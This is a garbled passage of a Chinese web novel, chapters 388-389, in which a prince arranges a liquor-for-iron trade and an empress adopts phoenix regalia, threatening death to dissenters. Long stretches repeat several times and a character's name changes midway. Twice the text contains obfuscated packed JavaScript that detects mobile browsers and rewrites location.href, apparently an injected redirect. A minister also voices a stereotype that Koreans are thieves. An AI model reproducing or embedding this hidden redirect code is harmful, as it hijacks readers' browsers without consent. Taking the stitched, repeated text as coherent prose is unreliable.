“秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 臻就采取了几乎等同于闭关锁国的政策,但也不是完全的封闭,除了固定的几个口岸开放外,沿江地区也有开放的城市。 这点主要是担心本国商品滞销,而外国商品又进不来,所以才特意开放的,不过就算开放,别国商贾是进乾国也是需要层层盘问与审查的。 煊赫门势力太大,防不胜防,由不得林臻掉以轻心。 林臻带着侯春和几名护卫,在没有温度的太阳底下慢走,径直来到鸿胪寺。 鸿胪寺卿孙山海是前朝老臣,也是胖子跟班狗腿子孙武的爷爷,不过这个老头不站队,二十几年在岗位上不得寸进,但也兢兢业业,十分受尊重。 林臻过来的时候和老爷子打了个招呼。 阁楼里,林臻作揖道:“孙大人一向可好?” 孙山海放下手里的卷宗,抬头见是林臻,顿时露出苍老的笑脸:“世子!您怎么来了?” “嗐。”林臻摆摆手,坐在暖榻上,立刻有杂役拿来火炉和暖手炉递给他。 林臻盘着腿,说道:“我看今天天气不错,就出来走走,顺便有事情要找韩国大使。” “金俊煕?呵呵呵,那家伙最近几天早出晚归的,也不知道在忙什么。” 孙山海很客气,邀请林臻品茶,一边倒茶一边说金俊煕的事情。 林臻问道:“哦?莫非孙大人知道他在忙什么?” “这个还真不知道,驻乾大使都是有自由的,平时随意出入,我们不会多加盘问。” “是这样,不过昨天他可是到我府上去了,提出要用我们二锅头换他们的铁矿,我觉得这买卖有点意思。早朝的时候你也看见了,陛下对此很关心,所以我亲自前来准备找金俊煕谈谈。” “世子,恕下官直言。这金俊煕可不是什么善男信女,而且他们韩国人一向善于偷窃,去年更是把我们特产的粽子说是他们的特产,还搬弄是非搞出来个什么历史书,向全世界证明,像有病似的。这二锅头若是流传到他们国家,呵,估计也成他们酿造的了。” 林臻对此其实并不关心。 二锅头的配方和酿造方法只有自己和楚惜灵知道,韩国人想偷,起码也得是百年之后,还得说这一百年里天天有人琢磨才行。 “二锅头是谁家的,我倒不是很在意,我在意的是铁矿。你也知道,虽然东北那边已经发现的铁矿有很多,但现在是冬天,天寒地冻,土地根本挖不开,更别说开山了。而开发区那边又急需大量生铁,所以我才答应了这个交易。” “世子自然有世子的考虑,下官不便多嘴。只是您要见金俊煕估计得等一等了,他现在不在鸿胪寺。” “不急,我不找他,他自然也会去找我的。”林臻望了望暖阁外面,鸿胪寺的工作人员来来往往,处理着各种杂事。 “现在有多少外国的官员在鸿胪寺?” “基本都在,就是秦国的还没来。” “秦国?他们为什么不来?我们有官员驻扎在别国吗?” “没有,我们自己的土地还管不过来呢,没有那些闲官去外国。至于您说的秦国为什么不来,下官也不知道,毕竟他们不来,我们也不会硬去邀请。” 林臻拿起烟袋,用火折子点燃嘬了一口。 一大口浓烟喷了出来,看得孙山海啧啧称奇。 “世子这是什么好东西?” 林臻坏笑着说:“怎么?你来一口?” 林臻都在用的东西那肯定是好东西啊,孙山海没想太多,把烟袋接了过去。 第388章 感谢书友肆壹肆。打赏的7个文学桂冠 这吸烟的人吧,基本都是从好奇开始的。 像林臻这样身份地位的人,都在猛猛地吸烟,那与他身份地位差这么多的鸿胪寺卿,怎会不像尝尝呢?赵启文把烟袋锅子接过去,翻来覆去地看了看,燃烧着的烟草都险些掉在暖榻上。 林臻连忙说道:“诶诶诶,别调过来啊,小心烫到。 “世子,这到底是什么东西?看起来.很特别,难道这种烟雾吸着对身体很好嘛? “不,对身体非常不好! “那你还赵启文一脸的不信。 对身体差你还能吸?骗鬼呢? 赵启文不信邪,用手帕擦了擦烟嘴,一张老嘴撅起来,还没等叼住就被烟嘴里冒出来的烟雾呛得连连咳嗽。 “咳咳咳咳.世子,这什么东西啊,快还给你。 赵启文岁数大了,突然吸这东西肯定受不了,咳嗽了好半天才缓过来。 林臻笑着将烟袋叼进嘴里,抽了一大口,冒着烟雾说:“呵呵呵,我说对身体不好,你还不信。得了,既然金俊煕不在,那你替我给他个口信,就说明天早朝,金銮殿上见。陛下要亲自监督签署合约。 “是,世子。 回家之后林臻开始草拟合约,对别国商贾、走卒不能进城这件事情闭口不谈,就说每坛二锅头换精铁百斤。 这已经是天价了,铁在韩国根本就不值钱,但二锅头可是一百两银子一坛童叟无欺,当然,这是卖给富商和国际友人的价格,自己家林臻一般都是很大方的,像胖子家、芦德豪家基本都是白送,那些官员想喝也都是五折。 五十两银子一坛酒,他们不仅喝得起,甚至林臻还能含泪赚四十八两。 写好以后,太阳也就下山了,林臻站在窗前琢磨着明天早上的事情,很快浣碧端来饭菜。 林臻晚饭间告诉晴雯不可以再出门了,肚子一天比一天大,要是以保胎为准。晴雯虽然不太开心,但想想自己在家也能帮忙安排大婚的事情,于是便答应。 一夜无话。(本来有话,但不让写) 第二天,晨曦初露。 群臣身着朝服,衣袂飘飘,迈着庄重的步伐徐徐步入金銮殿。 刚一踏入殿门,众人便觉眼前景象与往日大不相同,仿若误入了另一个世界。 只见那巍峨高台之上,原本象征着至高皇权的龙椅竟不翼而飞,取而代之的是一张雕琢精美的凤椅。 椅身通体以沉香木制成,散发着悠悠暗香,安抚人心。木质纹理仿若天然形成的凤 凰羽纹,细腻而流畅。 椅背之上,一只金凤昂首展翅,欲冲九霄,金凤双眸以红宝石镶嵌,在微光中闪烁着威严之光,仿若在俯瞰着朝堂众生;凤羽则以金箔细细贴就,每一片都闪烁着璀璨光芒,似可划破长空;凤尾蜿蜒而下,与椅座相连,恰似金凤落于云端,端坐在这朝堂高位。 再瞧那龙案,也已换作凤案。 案面宽阔,以云母石铺就,在日光下闪烁着五彩光芒,恰似凤凰身上绚丽的羽衣。 案边镶嵌着一圈细密的金凤浮雕,它们身形小巧,却不减神韵,或闭目休憩,或睁眼凝视,守护着这一方理政之地。 案上摆放的笔墨纸砚,也皆印刻着凤凰图案,就连那镇纸,都雕琢成了小巧的凤凰模样,灵动而精致。 一时间,群臣面面相觑,眼中满是好奇与惊愕。 几位官员按捺不住心中的讶异,微微侧身,交头接耳起来。 “陛下这是在做什么?竟一点一点地消除龙的元素,如此行事,前所未有啊。” “听闻陛下近日还换了凤袍,这可奇了,皇帝自古以来不都该身着龙袍吗?这般举动,莫不是要违背祖先规制?” “哼,我看陛下此举,实在是大不敬!龙乃我大乾立国之根本,是皇权的象征,承载着列祖列宗的庇佑与荣光,她一介女流,怎敢如此肆意妄为?” “是啊,王大人所言极是。陛下这般行径,莫不是要乱了我大乾的根基?我等食君之禄,忠君之事,怎能眼睁睁看着祖宗规制被践踏?” “听闻前些时日,陛下还将办公之地挪到了凤鸣宫,那宫中处处皆是凤凰图案,这分明是要将龙彻底摒弃啊!我等身为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232934|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣子,若不加以劝谏,日后有何颜面去见列祖列宗?” 林臻站在群臣最前面。 林震仙今天要巡视军营,所以没来。 他独自一人将群臣的反应尽收眼底,心说,嫣儿还是太着急了啊。 这么大张旗鼓地改变金銮殿。 幸亏有我给他兜底,否则群臣就要造反了。 不多时,一阵环佩叮当之声传来,打破了朝堂上微妙的气氛。 慕容嫣在一众宫女的簇拥下,自凤凰屏风后款步走出。 她今日的装扮极为隆重,一袭凤袍拖地,红如烈火,仿若燃烧的晚霞。 凤袍之上,金丝绣成的凤凰密密麻麻,形态各异,或翱翔天际,引吭高歌;或亲昵交颈,柔情蜜意;或振翅欲飞,欲破苍穹。 每一只凤凰的眼睛都以圆润的珍珠点缀,在光线的折射下,闪烁着温润而高贵的光泽;凤爪尖利,紧紧抓住袍面,彰显着拍档与威严。 头戴的凤冠更是精美绝伦,明珠璀璨如星,点缀其间,正中那只昂首的凤凰,以翡翠雕琢而成,碧玉通透,仿若有生命一般,傲然挺立在冠顶。 她的脖子上,一串念珠散发着柔和的光泽,念珠之上雕刻着精细的凤凰图腾,每一只凤凰都仿若在低语呢喃,诉说着神秘的祝福。 林臻张大了嘴。 这尼玛也太浮夸了吧? 把玉和金子都穿身上了?嫣儿啊嫣儿,你就不嫌沉吗? 慕容无舌高声喊道:“陛下驾到!” 群臣闻言,不敢怠慢,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“吾皇万岁万岁万万岁!” 慕容嫣微微抬手,宽大的凤袍随之轻轻挥舞,仪态万千地说道:“爱卿平身。” 声音清脆悦耳,恰似凤凰于飞,又带着几分与生俱来的威严。 群臣谢恩起身,手头却仍不时偷偷投向慕容嫣,心中的疑惑愈发深重。 慕容嫣坐在凤椅上望向林臻,两人目光交汇,心照不宣地微微一笑。 然而,还未等林臻做汇报,一位言官便挺身而出,打破了这片刻的宁静。 第389章 感谢书友肆壹肆。打赏的7个文学桂冠(二) 此人名为周正。 素以刚直不阿、不畏权贵著称。 此刻,他面色涨红,眼中透着一股决绝之气,上前一步,跪地叩首道:“陛下,微臣有一事不明,您身为一国之君,为何身着凤袍而非龙袍?此举关乎祖宗成法,还望陛下明示!”言罢,他额头紧贴地面,等待着慕容嫣的回答。 朝堂上顿时一片哗然,众人的目光齐刷刷地投向慕容嫣,或担忧,或好奇,或等着看好戏。 慕容嫣微微皱眉,眼神中闪过一丝不悦,但转瞬即逝。 因为她知道,今天肯定是要给群臣解释的,所以她也早就准备好了说辞。 慕容嫣轻轻清了清嗓子,环顾四周,目光扫过每一位大臣,缓缓开口道:“诸位爱卿,朕今日身着凤袍,并非心血来潮,亦非有意违背祖宗规制。朕自小,便在家族中常着凤袍,于我而言,凤凰不仅是祥瑞之兆,更承载着家族长辈对我的期许与护佑。后来,因形势所迫,朕女扮男装登基,不得不披上龙袍,隐匿身份,以稳朝纲。” 说到此处,慕容嫣微微顿了顿,目光中闪过一丝不易察觉的伤感,继续说道:“如今,朕已稳坐皇位,大乾昌盛繁荣,朕以为,是时候让真相大白于天下,回归本心。凤凰于飞,和鸣锵锵,凤凰乃吉祥、和谐、繁荣的象征,朕着凤袍,意在祈愿我大乾如凤凰涅槃,在这盛世之中更进一步,永享太平。再者,这凤袍之上的每一针每一线,都凝聚着工匠们的心血,它承载的是朕对大乾百姓的期许,对未来的展望。” 她的声音沉稳有力,掷地有声,在金銮殿内回响,众人听得入神,脸上的疑惑渐渐褪去。 可谁知,慕容嫣这番解释,并未如她所愿地平息众怒,反而像是火上浇油,让群臣更加激愤。 “陛下,您这番说辞,臣等实难认同!”周正直接站了起来,双手颤抖地指着慕容嫣,“龙袍乃皇权正统之象征,承载着我大乾数百年的传承,岂是说换就能换的?您今日着凤袍,他日是不是还要改国号、易祖宗?这让天下百姓如何看待我大乾皇室,如何信服我大乾朝廷?” 他越说越激动,眼眶泛红,额头上青筋暴起,仿佛在捍卫着世间最神圣的东西。 “是啊,陛下!”另一位年轻气盛的言官紧接着附和道,“祖宗成法,不可轻易更改。您身为一国之君,本应以身作则,遵循祖训,如今却带头破坏规矩,这让我等臣子如何行事?若人人都可随意违背规矩,大乾朝堂岂不乱套,国家岂不乱了根基?” 他的声音尖锐而高亢,在殿内嗡 嗡作响,脸上满是痛心疾首的表情。 “陛下,臣听闻您近日诸多举动,不仅换了龙椅、龙案,还将办公之地迁至凤鸣宫,这一系列行为,分明是在向世人宣告您对龙的摒弃,对传统的蔑视。臣担心,长此以往,民心不稳,国将不国啊!” “陛下,难不成您是受了奸人或者妖道的蛊惑?” 慕容嫣静静地听着群臣的指责,脸色逐渐变得阴沉。 她没想到,自己的一片苦心,竟被群臣误解至此。 她紧紧握住拳头,指甲嵌入掌心,努力压抑着心中的怒火。 林臻在一旁见状,心中也暗自焦急。 他深知慕容嫣此刻的处境艰难,但若要出言帮忙,只会让百官更加反感。 嫣儿啊嫣儿,你什么时候才能不这么莽撞啊。 慕容嫣深吸一口气,看向林臻,但这次她眼中没有了昨日的期许,而是坚定不移! 她就要看看,自己以女子之身登顶大位,究竟能不能镇住这群官员。 “诸位爱卿,朕理解你们的担忧,但朕所做一切,皆是为了大乾的未来。凤凰涅槃,需破旧立新,如今大乾看似昌盛,实则暗藏危机,若一味守旧,必将被时代淘汰。朕着凤袍,换朝堂陈设,并非要摒弃龙,而是要融合二者之长,开创大乾新的辉煌。至于所谓奸人蛊惑一说,纯属无稽之谈,朕为的是大乾百姓,望大家不要再做无端揣测。” 金銮殿内,气氛凝重如铅云压顶。 周正素日里便是个认死理、刚正不阿的人,此刻他涨红着脸,额上青筋暴起,似是下一秒就要冲破理智的藩篱,不顾一切地再次开口。 他向前踏出半步,身形微微颤抖,刚要开口,却被慕容嫣一道利眸如电射来,紧接着一声断喝:“够了!” 这喝声仿若洪钟,在殿宇的每一寸砖石间震荡回响,震得众人耳中嗡嗡作响,一时间,朝堂之上鸦雀无声,落针可闻。 慕容嫣凤目含威,扫视全场,衣袂无风自动,烈烈作响,尽显帝王霸气。 “诸位莫要忘了,这是慕容家的天下,是朕的天下!”她的声音冷冽而坚定,每个字都似裹胁着霜寒,敲打着众人的心弦,“朕自登基以来,殚精竭虑,所为者何?还不是为了这大乾的江山社稷,为了万千子民能安居乐业。” 言及此处,慕容嫣顿了顿,目光转向周正,眼神中闪过一丝复杂的情绪,有威严,亦有惋惜:“周正,朕念你多年来兢兢业业,忠心耿耿,于朝堂之上直言敢谏,为江山社稷劳心费力,今日就不罚你了, 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在 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慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 